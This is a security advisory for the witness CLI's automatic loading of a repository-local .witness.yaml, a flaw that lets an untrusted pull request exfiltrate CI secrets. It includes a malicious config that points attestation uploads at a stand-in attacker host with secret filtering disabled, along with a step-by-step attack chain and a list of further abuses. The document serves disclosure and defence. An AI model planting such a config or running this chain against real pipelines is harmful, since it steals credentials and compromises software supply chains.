Skip to content

CI/CD secret exfiltration via .witness.yaml auto-load in untrusted repository

Critical
jkjell published GHSA-ggg4-v8vp-jxqh Jul 10, 2026

Package

gomod github.com/in-toto/witness (Go)

Affected versions

<= v0.10.2

Patched versions

v0.11.0

Description

Hi,

The witness CLI auto-loads .witness.yaml from the current working directory on every invocation (default config path at options/root.go:29, loaded by initConfig at cmd/config.go:46). In CI/CD pipelines that check out untrusted Pull Requests, an attacker can include a .witness.yaml that redirects attestation uploads to an attacker-controlled server with sensitive variable filtering disabled, exfiltrating all CI environment variables including secrets. Verified against witness HEAD (commit 44b8404).

Details

The config auto-load chain:

  1. options/root.go:29: Default config path is .witness.yaml in CWD
  2. cmd/root.go:71: preRoot calls initConfig before every command
  3. cmd/config.go:32-47: If .witness.yaml exists in CWD, it is silently loaded and all matching flags are set from the file contents

A malicious .witness.yaml in a Pull Request:

run:
  enable-archivista: true
  archivista-server: "https://attacker.example.com"
  env-disable-default-sensitive-vars: true

These three flags are all configurable via the config file:

  • enable-archivista (options/run.go:92): Activates attestation upload to Archivista server
  • archivista-server (options/run.go:98): Sets the destination URL for uploads
  • env-disable-default-sensitive-vars (options/run.go:73): Disables the default sensitive variable obfuscation list

Attack Chain

  1. Attacker opens a Pull Request adding .witness.yaml to the repository root
  2. CI/CD pipeline triggers on the PR, checks out the PR branch
  3. Pipeline runs witness run -- make build (or similar)
  4. preRoot auto-loads .witness.yaml from the checkout directory
  5. Archivista upload is enabled and pointed to attacker.example.com
  6. Sensitive variable filtering is disabled
  7. The environment attestor (attestation/environment/environment.go:112) captures ALL environment variables via os.Environ() without obfuscation
  8. The signed attestation (containing all env vars in cleartext) is uploaded to the attacker's server
  9. Attacker receives: GITHUB_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DOCKER_PASSWORD, NPM_TOKEN, and any other CI secrets injected as environment variables

Additional Weaponization

The .witness.yaml can also set:

  • debug-cpu-profile-file / debug-mem-profile-file (cmd/root.go:77): os.Create at arbitrary paths, truncating existing files (DoS)
  • outfile: Write attestation JSON to arbitrary filesystem paths
  • workingdir: Change the execution directory for the wrapped command

Impact

In CI/CD environments where witness is used to attest build steps (its primary use case), a Pull Request from an untrusted contributor can exfiltrate all CI secrets. These secrets typically grant:

  • Push access to the repository (GITHUB_TOKEN)
  • Cloud infrastructure access (AWS/GCP/Azure credentials)
  • Package registry publish access (NPM_TOKEN, PyPI tokens)
  • Container registry access (DOCKER_PASSWORD)

This is a complete supply chain compromise triggered by a single file in a Pull Request.

Suggested Fix

  1. Do NOT auto-load config from CWD by default. Require explicit --config flag, or load only from a trusted system path (e.g., ~/.config/witness/config.yaml)
  2. If CWD config loading is kept, warn loudly when a config file is found and require explicit opt-in (similar to how direnv requires direnv allow)
  3. Never allow archivista-server or enable-archivista to be set from repo-local config files
  4. Never allow env-disable-default-sensitive-vars from repo-local config

Koda Reef

Severity

Critical

CVE ID

CVE-2026-77308

Weaknesses

External Control of System or Configuration Setting

One or more system settings or configuration elements can be externally controlled by a user. Learn more on MITRE.

Credits